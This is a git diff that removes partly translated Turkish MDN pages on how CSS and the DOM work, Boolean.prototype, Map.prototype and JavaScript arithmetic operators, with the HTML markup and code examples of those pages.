Web/Guide/CSS/Getting_started/How_CSS_works ---- -<p>{{ CSSTutorialTOC() }}</p> - -<p>{{ previousPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Why_use_CSS", "Why use CSS?") }}<span class="seoSummary">This third section of the <a href="/en-US/docs/Web/Guide/CSS/Getting_started" title="en-US/docs/Web/Guide/CSS/Getting_started">CSS Getting Started</a> tutorial explains how CSS works in your browser and the purpose of the Document Object Model (DOM). You'll also learn how to analyze your sample document.</span></p> - -<h2 class="clearLeft" id="Bilgi_CSS_nasıl_çalışır">Bilgi: CSS nasıl çalışır</h2> - -<p>Bir tarayıcı bir belgeyi görüntülediğinde, belgenin içeriği ve stil bilgileri birleşir. Bu, iki adımda gerçekleşir:</p> - -<ol> - <li>Tarayıcı markup (HTML gibi) dilini ve <a href="/en-US/docs/DOM" title="/en-US/docs/HTML/DOM"><em>DOM</em></a> (Document Object Model) içerisindeki CSS'i dönüştürür. DOM bilgisayar hafızasındaki belgeyi temsil eder. Belge içeriği ile stili kombine olur.</li> - <li>Tarayıcı DOM içeriğini gösterir<em>.</em></li> -</ol> - -<p>Bir markup dili belge yapısını oluşturmak için elementleri kullanır. Elementler < > arasında belirtilir. Bir çok elementin başlama ve bitiş etiketi vardır. Başlama etiketi için, işaretlerin arasına <elementinadı>, bitiş için </elementinadı> şeklinde kullanılır.Şu şekildedir;</p> - -<p><<em>elementinismi></em></p> - -<p>Bu elementte kullanacağınız içerik bu ikisi arasında yer almalıdır.</p> - -<p><em></elementinismi></em></p> - -<p>Depending on the markup language, some elements have only a start tag, or a single tag where the '<code>/</code>' comes after the element name. An element can also be a container and include other elements between its start tag and end tag. Just remember to always close the tags inside the container.</p> - -<p>DOM ağaçsı bir yapıya sahiptir. Markup dili içerisindeki her element, öznitelik ve text, bu ağaçsı yapı içerisinde bir düğüm noktasıdır. Düğümler diğer DOM düğümleri ile ilişki içindedir. Düğümler arasına kalıtsallığa benzeyen bir durum vardır. Kimi element üsttedir (parent), kimi element ise alttadır (sibling). Bir aile ağacı gibi düşünülebilir.</p> - -<p>DOM'u anlamak size CSS'te kolaylık sağlar, çünkü DOM, CSS'inizin ve belge içeriğinizin birleştiği yerdedir.</p> - -<div class="tuto_example"> -<div class="tuto_type">Örnek</div> - -<div class="tuto_type"> </div> -Örnek belgenizde, Başlama <p> ve onun bitişi </p> kullanılmak üzerei bir alan (container) yaratır: - -<pre class="brush:html"><p> - <strong>C</strong>ascading - <strong>S</strong>tyle - <strong>S</strong>heets -</p> -</pre> - -<p> </p> - -<p>{{ EmbedLiveSample('Information.3A_How_CSS_works', '', '', '', 'Web/Guide/CSS/Getting_started/How_CSS_works') }}</p> - -<p>DOM'da, aşağıda, P'ye karşılık gelen düğüm bir ebeveyndir. Onun çocukları ise STRONG düğümleri ve text düğümleridir.STRONG düğümü ise, örnekte gördüğünüz kırmızı harflerin ebeveynidir. Kırmızı harfler kardeştir.Aşağıda bu yapı gösterilmiştir;</p> - -<pre><span style="color: black;">P</span> -├─<span style="color: black;">STRONG</span> -│ └─"<span style="color: black;">C</span>" -├─"<span style="color: black;">ascading</span>" -├─<span style="color: black;">STRONG</span> -│ └─"<span style="color: black;">S</span>" -├─"<span style="color: black;">tyle</span>" -├─<span style="color: black;">STRONG</span> -│ └─"<span style="color: black;">S</span>" -└─"<span style="color: black;">heets</span>"</pre> -</div> - -<h2 id="Çalışma_DOM'u_incelemek">Çalışma: DOM'u incelemek</h2> - -<h3 id="DOM_denetçisi">DOM denetçisi</h3> - -<p>DOM'u incelemek için, özel bir yazılıma ihtiyacınız var. Mozilla'nın <a href="/en/DOM_Inspector" title="en/DOM_Inspector">DOM Inspector</a> (DOMi) eklentisini kullanabilirsiniz. Eklenti ufak bir kurulum gerektirir. Aşağıda detaylıdır;</p> - -<ol> - <li>Örnek belgenizi Mozilla tarayıcısını kullanarak açın.</li> - <li>Tarayıcınızın menü kısmından, <strong>Araçlar > DOM Denetçisi</strong>, ya da <strong>Araçlar > Web Geliştirme > DOM Denetçisi</strong>. - <div class="tuto_details"> - <div class="tuto_type">Daha fazla detay</div> - - <p>Mozilla'nızda DOMi yoksa <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/6622/" title="https://addons.mozilla.org/en-US/firefox/addon/6622/">eklentiler sitesinden yükleyin</a> ve bu öğreticiye geri dönün.</p> - - <p>DOMi yüklemek istemiyorsanız veya Mozilla'dan farklı bir tarayıcı kullanıyorsanız..............</p> - </div> - </li> - <li>In DOMi, expand your document's nodes by clicking on their arrows. - <p><strong>Note: </strong> Spacing in your HTML file may cause DOMi to show some empty text nodes, which you can ignore.</p> - - <p>Part of the result might look like this, depending on which nodes you have expanded:</p> - - <pre>│ ▼╴<span style="color: black;">P</span> -│ │ │ ▼╴<span style="color: black;">STRONG</span> -│ │ └<span style="color: darkblue;">#text</span> -│ ├╴<span style="color: darkblue;">#text</span> -│ ►╴<span style="color: black;">STRONG</span> -│ │</pre> - - <p>When you select any node, you can use DOMi's right-hand pane to find out more about it. For example, when you select a text node, DOMi shows you the text in the right-hand pane.</p> - - <p>When you select an element node, DOMi analyzes it and provides a huge amount of information in its right-hand pane. Style information is just part of the information it provides.</p> - </li> -</ol> - -<div class="tuto_example"> -<div class="tuto_type">Challenge</div> - -<p>In DOMi, click on a <small>STRONG</small> node.</p> - -<p>Use DOMi's right-hand pane to find out where the node's color is set to red, and where its appearance is made bolder than normal text.</p> - -<div class="tuto_details" id="tutochallenge"> -<div class="tuto_type">Possible solution</div> - -<p>In the menu above the right-hand pane, choose <strong>CSS Rules</strong>. You see two items listed, one that references an internal resource and one that references your stylesheet file. The internal resource defines the <strong>font-weight</strong> property as <code>bolder</code>; your stylesheet defines the <strong>color</strong> property as <code>red</code>.</p> -<a class="hideAnswer" href="#challenge">Hide solution</a></div> -<a href="#tutochallenge" title="Display a possible solution for the challenge">See a solution for the challenge.</a></div> - -<h3 id="Using_Web_X-Ray_Goggles">Using Web X-Ray Goggles</h3> - -<p><a class="link-https" href="https://goggles.webmaker.org/" title="https://secure.toolness.com/webxray/">Web X-Ray Goggles </a>shows less information than DOM Inspector, but is simpler to install and use.</p> - -<ol> - <li>Go to the home page for <a class="link-https" href="https://goggles.webmaker.org/" title="https://secure.toolness.com/webxray/">Web X-Ray Goggles</a>.</li> - <li>Drag the bookmarklet link in that page to your browser toolbar.</li> - <li>Open your sample HTML document.</li> - <li>Activate Web X-Ray Goggles by clicking the bookmarklet on the toolbar.</li> - <li>Move your mouse pointer around over your document to see the elements in the document.</li> -</ol> - -<h2 id="Sonra">Sonra?</h2> - -<p>{{ nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Cascading_and_inheritance", "Cascading & Inheritance") }}If you took the challenge, you saw that style information from more than one place interacts to create the final style for an element. The <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Cascading_and_inheritance" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Cascading_and_inheritance">next page</a> explains more about these interactions.</p> diff --git a/files/tr/conflicting/learn/css/first_steps/index.html b/files/tr/conflicting/learn/css/first_steps/index.html deleted file mode 100644 index 3e7a954dcc..0000000000 --- a/files/tr/conflicting/learn/css/first_steps/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: CSS'e başlarken -slug: conflicting/Learn/CSS/First_steps -tags: - - CSS - - CSS:Başlarken - - Kitap - - Kılavuz - - Rehber - - Temel CSS Eğitimi - - Web - - Yeni başlayan - - Yeni başlayanlar -translation_of: Learn/CSS/First_steps -translation_of_original: Web/Guide/CSS/Getting_started -original_slug: Web/Guide/CSS/Getting_started ---- -<p><span class="seoSummary">Bu eğitimde <a href="/tr/docs/Web/Guide/CSS">Cascading Style Sheets</a> (CSS) 'in söz dizimi ve dilin ana özellikleri ile tanışacaksınız. CSS kullanılarak, tıpkı bir web sayfası gibi, bir belgenin görünümü değiştirilebilir. Bu eğitici size kendi bilgisayarınızda deneyebileceğiniz ve CSS'in günümüz tarayıcılarındaki özellik ve etkilerini görebileceğiniz örnekler sunacaktır.</span></p> - -<p>Bu eğitici CSS'e yeni başlayanlar için bir kılavuz niteliğindedir. Eğer daha fazla deneyiminiz varsa, CSS <a href="/tr/docs/Web/Guide/CSS">anasayfasında </a>daha kapsamlı kaynaklar mevcuttur.</p> - -<nav class="fancyTOC"><a class="button" href="/tr/docs/Web/Guide/CSS/Getting_Started/What_is_CSS" rel="next" title="Chapter 'What is CSS' of the CSS tutorial">CSS Nedir?</a> <a class="button" href="/tr/docs/Web/Guide/CSS/Getting_Started/Why_use_CSS" title="Chapter 'Why use CSS' of the CSS tutorial">CSS'in Kullanım Amaçları</a><a class="button" href="/tr/docs/Web/Guide/CSS/Getting_Started/How_CSS_works" title="Chapter 'How CSS works' of the CSS tutorial">CSS Çalışma Mantığı</a> <a class="button" href="/tr/docs/Web/Guide/CSS/Getting_Started/Cascading_and_inheritance" title="Chapter 'Cascading and inheritance' of the CSS tutorial">Basamaklama ve Kalıtım</a> <a class="button" href="/tr/docs/Web/Guide/CSS/Getting_Started/Selectors" title="Chapter 'Selectors' of the CSS tutorial">Seçiciler</a> <a class="button" href="/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS" title="Chapter 'Readable_CSS' of the CSS tutorial">Kod Okunulabilirliği</a> <a class="button" href="/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles" title="Chapter 'Text_styles' of the CSS tutorial">Yazı Biçemleri</a> <a class="button" href="/en-US/docs/Web/Guide/CSS/Getting_Started/Color" title="Chapter 'Color' of the CSS tutorial">Renkler</a> <a class="button" href="/en-US/docs/Web/Guide/CSS/Getting_Started/Content" title="Chapter 'Content' of the CSS tutorial">İçerik</a> <a class="button" href="/en-US/docs/Web/Guide/CSS/Getting_Started/Lists" title="Chapter 'Lists' of the CSS tutorial">Dizelgeler</a> <a class="button" href="/en-US/docs/Web/Guide/CSS/Getting_Started/Boxes" title="Chapter 'Boxes' of the CSS tutorial">Kutular</a> <a class="button" href="/en-US/docs/Web/Guide/CSS/Getting_Started/Layout" title="Chapter 'Layout' of the CSS tutorial">Belge Kalıbı</a> <a class="button" href="/en-US/docs/Web/Guide/CSS/Getting_Started/Tables" title="Chapter 'Tables' of the CSS tutorial">Tablo Yapısı</a> <a class="button" href="/en-US/docs/Web/Guide/CSS/Getting_Started/Media" title="Chapter 'Media' of the CSS tutorial">Ortam</a></nav> - -<h2 id="Başlarken_neler_gerekli">Başlarken neler gerekli?</h2> - -<ul> - <li>Bir yazı düzenleyici</li> - <li>Günümüz tarayıcılarından biri</li> - <li>Düzenleyici ve tarayıcının kullanımı için birazcık deneyim</li> -</ul> - -<p>Alıştırmalar öğrenmenize yardımcı olmak içindir ancak bütünüyle bir gereksinim değil. Öğrenmek için yalnızca okuyabilir ve görsellere bakabilirsiniz.</p> - -<h2 id="Eğitici_nasıl_kullanılır">Eğitici nasıl kullanılır</h2> - -<p>Bu eğiticiyi kullanmak için, sayfaları <strong>dikkatlice</strong> ve <strong>sırasıyla</strong> okuyun. Eğer bir sayfayı atlarsanız, sonraki sayfaları anlamanız zorlaşabilir.</p> - -<h3 id="Bölüm_I_CSS'in_Temelleri">Bölüm I: CSS'in Temelleri</h3> - -<p>CSS'in nasıl çalıştığını kavrayabilmek için <em>bilgi </em>bölümünü kullanın. CSS'i kendi bilgisayarınızda kullanmayı denemek için <em>çalışma </em>bölümünü deneyin.</p> - -<p>Anladığınızı sınamak için, her sayfanın sonundaki alıştırmayı yapın. Alıştırmaların çözümleri, alıştırmanın altındaki bağlantıdadır, gerek gördükçe bakabilirsiniz.</p> - -<h3 id="Bölüm_II_CSS'in_Kapsamı">Bölüm II: CSS'in Kapsamı</h3> - -<p>Eğiticinin ikinci bölümü, CSS'in diğer web bileşenleriyle ve Mozilla teknolojileriyle olan kapsamını gösterir. Örnekler sağlar.</p> - -<ol> - <li><a href="/en-US/docs/Web/Guide/CSS/Getting_Started/JavaScript" title="en/CSS/Getting_Started/JavaScript">JavaScript</a></li> - <li><a href="/en-US/docs/Web/Guide/CSS/Getting_Started/SVG_and_CSS" title="en/CSS/Getting_Started/SVG_graphics">SVG çizgeleri</a></li> - <li><a href="/en-US/docs/Web/Guide/CSS/Getting_Started/XML_data" title="en/CSS/Getting_Started/XML_data">XML veri</a></li> - <li><a href="/en-US/docs/Web/Guide/CSS/Getting_Started/XBL_bindings" title="en/CSS/Getting_Started/XBL_bindings">XBL bağlamaları</a></li> - <li><a href="/en-US/docs/Web/Guide/CSS/Getting_Started/XUL_user_interfaces" title="en/CSS/Getting_Started/XUL_user_interfaces">XUL kullanıcı arayüzleri</a></li> -</ol> diff --git a/files/tr/conflicting/web/javascript/reference/global_objects/boolean/index.html b/files/tr/conflicting/web/javascript/reference/global_objects/boolean/index.html deleted file mode 100644 index bcb491fe9c..0000000000 --- a/files/tr/conflicting/web/javascript/reference/global_objects/boolean/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Boolean.prototype -slug: conflicting/Web/JavaScript/Reference/Global_Objects/Boolean -translation_of: Web/JavaScript/Reference/Global_Objects/Boolean -translation_of_original: Web/JavaScript/Reference/Global_Objects/Boolean/prototype -original_slug: Web/JavaScript/Reference/Global_Objects/Boolean/prototype ---- -<div>{{JSRef}}</div> - -<p>Boolean.prototype özelliği {{jsxref ("Boolean")}} yapıcı methodunun prototipini temsil eder.</p> - -<div>{{js_property_attributes(0, 0, 0)}}</div> - -<div>{{EmbedInteractiveExample("pages/js/boolean-constructor.html")}}</div> - -<p class="hidden">Bu etkileşimli örnek için kaynak bir GitHub deposunda saklanır. Etkileşimli örnek projeye katkıda bulunmak istiyorsanız lütfen https://github.com/mdn/interactive-examples'ları kopyalayıp bize pull request gönderin.</p> - -<h2 id="sect1"> </h2> - -<p>{{jsxref("Boolean")}} instances inherit from <code>Boolean.prototype</code>. You can use the constructor's prototype object to add properties or methods to all {{jsxref("Boolean")}} instances.</p> - -<h2 id="Properties">Properties</h2> - -<dl> - <dt><code>Boolean.prototype.constructor</code></dt> - <dd>Bir örneğin prototipini oluşturan fonksiyonu döndürür. Bu varsayılan olarak {{jsxref ("Boolean")}} işlevidir.</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<dl> - <dt>{{jsxref("Boolean.prototype.toSource()")}} {{non-standard_inline}}</dt> - <dd>{{Jsxref ("Boolean")}} nesnesinin kaynağını içeren bir dize döndürür; eşdeğer bir nesne oluşturmak için bu dizeyi kullanabilirsiniz. {{Jsxref ("Object.prototype.toSource ()")}} methodunu geçersiz kılar.</dd> - <dt>{{jsxref("Boolean.prototype.toString()")}}</dt> - <dd>Nesnenin değerine bağlı olarak <code>"true"</code> ya da <code>"false"</code> dizesini döndürür. {{Jsxref ("Object.prototype.toString ()")}} methodunu geçersiz kılar.</dd> - <dt>{{jsxref("Boolean.prototype.valueOf()")}}</dt> - <dd>{{Jsxref ("Boolean")}} nesnesinin temel değerini döndürür. {{Jsxref ("Object.prototype.valueOf ()")}} methodunu geçersiz kılar.</dd> -</dl> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Özellikler</th> - <th scope="col">Durum</th> - <th scope="col">Açıklama</th> - </tr> - <tr> - <td>{{SpecName('ES1')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>İlk tanım. JavaScript 1.0'da uygulanmaktadır.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.6.3.1', 'Boolean.prototype')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-boolean.prototype', 'Boolean.prototype')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-boolean.prototype', 'Boolean.prototype')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - -<div> -<div class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden oluşturulmuştur. Verilere katkıda bulunmak istiyorsanız, lütfen https://github.com/mdn/browser-compat-data adresini ziyaret edin ve bize pull request gönderin.</div> - -<p>{{Compat("javascript.builtins.Boolean.prototype")}}</p> -</div> diff --git a/files/tr/conflicting/web/javascript/reference/global_objects/map/index.html b/files/tr/conflicting/web/javascript/reference/global_objects/map/index.html deleted file mode 100644 index db9db60531..0000000000 --- a/files/tr/conflicting/web/javascript/reference/global_objects/map/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Map.prototype -slug: conflicting/Web/JavaScript/Reference/Global_Objects/Map -translation_of: Web/JavaScript/Reference/Global_Objects/Map -translation_of_original: Web/JavaScript/Reference/Global_Objects/Map/prototype -original_slug: Web/JavaScript/Reference/Global_Objects/Map/prototype ---- -<div>{{JSRef}}</div> - -<p><code><strong>Map</strong></code><strong><code>.prototype</code></strong> özelliği {{jsxref("Map")}} kurucusunun prototipini temsil eder.</p> - -<div>{{js_property_attributes(0,0,0)}}</div> - -<h2 id="Tanım">Tanım</h2> - -<p>{{jsxref("Map")}} örnekleri {{jsxref("Map.prototype")}}'den miras alınır. Tüm <code>Map</code> örneklerine özellikler veya yöntemler eklemek için yapıcının prototip nesnesini kullanabilirsiniz.</p> - -<h2 id="Özellikleri">Özellikleri</h2> - -<dl> - <dt><code>Map.prototype.constructor</code></dt> - <dd>Bir örneğin prototipini oluşturan işlevi döndürür. Bu, varsayılan olarak {{jsxref("Map")}} işlevidir.</dd> - <dt>{{jsxref("Map.prototype.size")}}</dt> - <dd><code>Map</code> nesnesindeki anahtar / değer çiftlerinin sayısını döndürür.</dd> -</dl> - -<h2 id="Yöntemler">Yöntemler</h2> - -<dl> - <dt>{{jsxref("Map.prototype.clear()")}}</dt> - <dd>Tüm anahtar / değer çiftlerini <code>Map</code> objesinden siler.</dd> - <dt>{{jsxref("Map.delete", "Map.prototype.delete(key)")}}</dt> - <dd><code>Map</code> nesnesindeki bir öge varsa ve kaldırılmışsa <code>true</code> öge yoksa <code>false</code> döndürür. <code>Map.prototype.has(key)</code> daha sonra <code>false</code> döndürür.</dd> - <dt>{{jsxref("Map.prototype.entries()")}}</dt> - <dd>Ekleme sırasındaki <code>Map</code> nesnesindeki her öge için <strong><code>[anahtar, değer] </code></strong>dizisini içeren yeni bir <code>Iterator</code> nesnesini döndürür.</dd> - <dt>{{jsxref("Map.forEach", "Map.prototype.forEach(callbackFn[, thisArg])")}}</dt> - <dd><code>Map</code> nesnesindeki her anahtar - değer çifti için ekleme sırasına göre callbackFn ögesini bir kez çağırır. thisArg parametresi forEach için sağlanmışsa, her geri çağırma için bu değer olarak kullanılacaktır.</dd> - <dt>{{jsxref("Map.get", "Map.prototype.get(key)")}}</dt> - <dd><code>key</code> ile ilişkilendirilmiş değeri veya hiçbir şey yoksa <code>undefined</code> değerini döndürür.</dd> - <dt>{{jsxref("Map.has", "Map.prototype.has(key)")}}</dt> - <dd><code>Map</code> nesnesindeki bir değerin <code>key</code> ile ilişkili olup olmadığını belirten bir boolean döndürür.</dd> - <dt>{{jsxref("Map.prototype.keys()")}}</dt> - <dd><code>Map</code> nesnesindeki her bir ögenin<strong> anahtarlarını</strong> ekleme sırasına göre içeren yeni bir <code>Iterator</code> nesnesi döndürür.</dd> - <dt>{{jsxref("Map.set", "Map.prototype.set(key, value)")}}</dt> - <dd><code>Map</code>nesnesindeki <code>key</code> değerini ayarlar. <code>Map</code> nesnesini döndürür.</dd> - <dt>{{jsxref("Map.prototype.values()")}}</dt> - <dd><code>Map</code> nesnesindeki her bir ögenin <strong>değerlerini </strong>ekleme sırasına göre içeren yeni bir <code>Iterator</code> nesnesi döndürür.</dd> - <dt>{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}</dt> - <dd>Ekleme sırasındaki <code>Map</code> nesnesindeki her bir öge için<strong><code>[anahtar, değer]</code></strong> dizisini içeren yeni bir <code>Iterator</code> nesnesini döndürür.</dd> -</dl> - -<h2 id="Şartlar">Şartlar</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Şart</th> - <th scope="col">Durum</th> - <th scope="col">Açıklama</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-map.prototype', 'Map.prototype')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td> - <p>İlk tanım</p> - </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-map.prototype', 'Map.prototype')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - -<div class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden oluşturulmuştur. Verilere katkıda bulunmak istiyorsanız, lütfen <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> adresini ziyaret etin ve bize bir istek gönderin.</div> - -<p>{{Compat("javascript.builtins.Map.prototype")}}</p> - -<h2 id="Ayrıca_Bakınız">Ayrıca Bakınız</h2> - -<ul> - <li>{{jsxref("Set.prototype")}}</li> -</ul> diff --git a/files/tr/conflicting/web/javascript/reference/operators/index.html b/files/tr/conflicting/web/javascript/reference/operators/index.html deleted file mode 100644 index 08ec51807a..0000000000 --- a/files/tr/conflicting/web/javascript/reference/operators/index.html +++ /dev/null @@ -1,295 +0,0 @@ ---- -title: Arithmetic operators -slug: conflicting/Web/JavaScript/Reference/Operators -tags: - - Aritmetik Operatörler - - JavaScript -translation_of: Web/JavaScript/Reference/Operators -translation_of_original: Web/JavaScript/Reference/Operators/Arithmetic_Operators -original_slug: Web/JavaScript/Reference/Operatörler/Arithmetic_Operators ---- -<div>{{jsSidebar("Operators")}}</div> - -<p><strong>Aritmetik operatörler</strong> sayısal değerleri (değişmez değerler veya değişkenler) kendi değişkeni olarak alır ve tek bir sayısal değer döndürür. Standart aritmetik operatörler toplama (+), çıkarma (-), çıkarma (*), ve bölme (/).</p> - -<div>{{EmbedInteractiveExample("pages/js/expressions-arithmetic.html")}}</div> - - - -<h2 id="Addition" name="Addition">Toplama (+)</h2> - -<p>Toplama işleci, sayısal değişkenlerin veya dize birleşiminin toplamını üretir.</p> - -<h3 id="Syntax">Syntax</h3> - -<pre class="syntaxbox"><strong>Operator:</strong> x + y -</pre> - -<h3 id="Examples">Examples</h3> - -<pre class="brush: js">// Number + Number -> Toplama -1 + 2 // 3 - -// Boolean + Number -> Toplama -true + 1 // 2 - -// Boolean + Boolean -> Toplama -false + false // 0 - -// Number + String -> Birleşim -5 + 'foo' // "5foo" - -// String + Boolean -> Birleşim -'foo' + false // "foofalse" - -// String + String -> Birleşim -'foo' + 'bar' // "foobar" -</pre> - -<h2 id="Subtraction" name="Subtraction">Çıkarma (-)</h2> - -<p>Çıkarma işleci (operator), iki değişkeni çıkarır ve farklarını üretir.</p> - -<h3 id="Söz_Dizimi">Söz Dizimi</h3> - -<pre class="syntaxbox"><strong>Operator:</strong> x - y -</pre> - -<h3 id="Örnekler">Örnekler</h3> - -<pre class="brush: js">5 - 3 // 2 -3 - 5 // -2 -'foo' - 3 // NaN(Sayı Değil)</pre> - -<h2 id="Division" name="Division">Bölme (/)</h2> - -<p>Bölme operatörü, sol değişkenin bölüm olduğu ve sağ değişkenin bölen olduğu işlenenlerin bölümünü üretir.</p> - -<h3 id="Söz_Dizimi_2">Söz Dizimi</h3> - -<pre class="syntaxbox"><strong>Operator:</strong> x / y -</pre> - -<h3 id="Örnekler_2">Örnekler</h3> - -<pre class="brush: js">1 / 2 // 0.5 döndürür -1 / 2 // Java''da 0 döndürür -// (her iki sayı da açıkça kayan nokta sayısıdır) - -1.0 / 2.0 // JavaScript ve Java 0.5 döndürür - -2.0 / 0 // JavaScript sonsuz döndürür -2.0 / 0.0 // Sonsuzu da döndürür -2.0 / -0.0 // JavaScript eksi sonsuz da döndürür</pre> - -<h2 id="Multiplication" name="Multiplication">Çarpma (*)</h2> - -<p>Çarpma operatörü değişkenlerin ürününü üretir.</p> - -<h3 id="Söz_Dizimi_3">Söz Dizimi</h3> - -<pre class="syntaxbox"><strong>Operator:</strong> x * y -</pre> - -<h3 id="Örnekler_3">Örnekler</h3> - -<pre class="brush: js">2 * 2 // 4 --2 * 2 // -4 -Infinity * 0 // NaN(Sayı Değil1) -Infinity * Infinity // Sonsuz -'foo' * 2 // NaN -</pre> - -<h2 id="Remainder" name="Remainder">Kalan (%)</h2> - -<p>Kalan operatörü, bir değişken ikinci bir değişken tarafından bölündüğünde kalan döndürür. Her zaman bölüm işareti alır.</p> - -<h3 id="Söz_Dizimi_4">Söz Dizimi</h3> - -<pre class="syntaxbox"><strong>Operator:</strong> var1 % var2 -</pre> - -<h3 id="Örnekler_4">Örnekler</h3> - -<pre class="brush: js">12 % 5 // 2 --1 % 2 // -1 -1 % -2 // 1 -NaN % 2 // NaN -1 % 2 // 1 -2 % 3 // 2 --4 % 2 // -0 -5.5 % 2 // 1.5 -</pre> - -<h2 id="Exponentiation" name="Exponentiation">Üs (**)</h2> - -<p>The exponentiation operator returns the result of raising first operand to the power second operand. That is, <code>var1</code><sup><code>var2</code></sup>, in the preceding statement, where <code>var1</code> and <code>var2</code> are variables. Exponentiation operator is right associative. <code>a ** b ** c</code> is equal to <code>a ** (b ** c)</code>.</p> - -<h3 id="Syntax_2">Syntax</h3> - -<pre class="syntaxbox"><strong>Operator:</strong> var1 ** var2 -</pre> - -<h3 id="Notes">Notes</h3> - -<p>In most languages like PHP and Python and others that have an exponentiation operator (**), the exponentiation operator is defined to have a higher precedence than unary operators such as unary + and unary -, but there are a few exceptions. For example, in Bash the ** operator is defined to have a lower precedence than unary operators. In JavaScript, it is impossible to write an ambiguous exponentiation expression, i.e. you cannot put a unary operator (<code>+/-/~/!/delete/void/typeof</code>) immediately before the base number.</p> - -<pre class="brush: js">-2 ** 2; -// 4 in Bash, -4 in other languages. -// This is invalid in JavaScript, as the operation is ambiguous. - - --(2 ** 2); -// -4 in JavaScript and the author's intention is unambiguous. -</pre> - -<h3 id="Examples_2">Examples</h3> - -<pre class="brush: js">2 ** 3 // 8 -3 ** 2 // 9 -3 ** 2.5 // 15.588457268119896 -10 ** -1 // 0.1 -NaN ** 2 // NaN - -2 ** 3 ** 2 // 512 -2 ** (3 ** 2) // 512 -(2 ** 3) ** 2 // 64 -</pre> - -<p>To invert the sign of the result of an exponentiation expression:</p> - -<pre class="brush: js">-(2 ** 2) // -4 -</pre> - -<p>To force the base of an exponentiation expression to be a negative number:</p> - -<pre class="brush: js">(-2) ** 2 // 4 -</pre> - -<div class="note"> -<p><strong>Note:</strong> JavaScript also has <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_XOR">a bitwise operator ^ (logical XOR)</a>. <code>**</code> and <code>^</code> are different (for example : <code>2 ** 3 === 8</code> when <code>2 ^ 3 === 1</code>.)</p> -</div> - -<h2 id="Increment" name="Increment">Artırma (++)</h2> - -<p>Artış operatörü işlenenini artırır (bir ekler) ve bir değer döndürür.</p> - -<ul> - <li>İlk önce değişken adı kullanılırsa, değişkenden sonra operatörle (örneğin, x++) kullanılırsa artmadan önce değeri artırır ve döndürür.</li> - <li>Ön ek kullanılırsa, değişkenden önce operatörle (örneğin, ++x), daha sonra artırıldıktan sonra değeri artıtrır ve döndürür.</li> -</ul> - -<h3 id="Söz_Dizimi_5">Söz Dizimi</h3> - -<pre class="syntaxbox"><strong>Operator:</strong> x++ yada ++x -</pre> - -<h3 id="Örnekler_5">Örnekler</h3> - -<pre class="brush: js">// Postfix -var x = 3; -y = x++; // y = 3, x = 4 - -// Prefix -var a = 2; -b = ++a; // a = 3, b = 3 -</pre> - -<h2 id="Decrement" name="Decrement">Azaltma (--)</h2> - -<p>The decrement operator decrements (subtracts one from) its operand and returns a value.</p> - -<ul> - <li>If used postfix, with operator after operand (for example, x--), then it decrements and returns the value before decrementing.</li> - <li>If used prefix, with operator before operand (for example, --x), then it decrements and returns the value after decrementing.</li> -</ul> - -<h3 id="Syntax_3">Syntax</h3> - -<pre class="syntaxbox"><strong>Operator:</strong> x-- or --x -</pre> - -<h3 id="Examples_3">Examples</h3> - -<pre class="brush: js">// Postfix -var x = 3; -y = x--; // y = 3, x = 2 - -// Prefix -var a = 2; -b = --a; // a = 1, b = 1 -</pre> - -<h2 id="Unary_negation" name="Unary_negation">Unary negation (-)</h2> - -<p>The unary negation operator precedes its operand and negates it.</p> - -<h3 id="Syntax_4">Syntax</h3> - -<pre class="syntaxbox"><strong>Operator:</strong> -x -</pre> - -<h3 id="Examples_4">Examples</h3> - -<pre class="brush: js">var x = 3; -y = -x; // y = -3, x = 3 - -// Unary negation operator can convert non-numbers into a number -var x = "4"; -y = -x; // y = -4 -</pre> - -<h2 id="Unary_plus_2"><a name="Unary_plus">Unary plus</a> (+)</h2> - -<p>The unary plus operator precedes its operand and evaluates to its operand but attempts to convert it into a number, if it isn't already. Although unary negation (-) also can convert non-numbers, unary plus is the fastest and preferred way of converting something into a number, because it does not perform any other operations on the number. It can convert string representations of integers and floats, as well as the non-string values <code>true</code>, <code>false</code>, and <code>null</code>. Integers in both decimal and hexadecimal ("0x"-prefixed) formats are supported. Negative numbers are supported (though not for hex). If it cannot parse a particular value, it will evaluate to {{jsxref("NaN")}}.</p> - -<h3 id="Syntax_5">Syntax</h3> - -<pre class="syntaxbox"><strong>Operator:</strong> +x -</pre> - -<h3 id="Examples_5">Examples</h3> - -<pre class="brush: js">+3 // 3 -+'3' // 3 -+true // 1 -+false // 0 -+null // 0 -+function(val){ return val } // NaN -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - 